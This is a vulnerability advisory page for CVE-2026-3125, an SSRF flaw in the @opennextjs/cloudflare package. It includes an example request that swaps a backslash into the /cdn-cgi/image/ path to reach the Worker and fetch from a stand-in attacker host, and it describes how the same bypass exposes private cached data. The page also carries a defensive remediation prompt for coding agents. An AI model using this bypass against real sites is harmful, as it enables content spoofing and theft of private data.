# CVE-2026-3125: SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass

> Attackers can bypass edge interception via path normalization flaws to trigger SSRF and expose private cached data in Cloudflare Workers.

- **Severity:** High 7.7 (`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N`)
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 4 Mar 2026
- **Updated:** 4 Mar 2026

## What is CVE-2026-3125?

CVE-2026-3125 is a high-severity server-side request forgery vulnerability in @opennextjs/cloudflare, published on 4 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.

For example: 

 https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com 

In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.

Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.

Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.

Weakness: CWE-918 (Server-Side Request Forgery), CWE-706 (Use of Incorrectly-Resolved Name or Reference)

## Which versions are affected by CVE-2026-3125?

It affects 1 product.


Products: Opennextjs Opennext for Cloudflare.

## How do I fix CVE-2026-3125?

Apply the vendor's patch.

## Is CVE-2026-3125 being exploited?

There is no known exploitation of CVE-2026-3125 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2026-3125 and fix it if it is affected.

What it is: CVE-2026-3125 is a high-severity server-side request forgery vulnerability in @opennextjs/cloudflare, published on 4 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of CVE-2026-3125 in the wild and no public exploit code.

Affected product: @opennextjs/cloudflare. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2026-3125/ (Markdown: https://insights.sbomify.com/CVE-2026-3125/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2026-3125
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-3125
- OSV: https://osv.dev/vulnerability/CVE-2026-3125

---
From sbomify Insights: https://insights.sbomify.com/CVE-2026-3125/
Summaries are generated and may contain mistakes; the official description above is the record.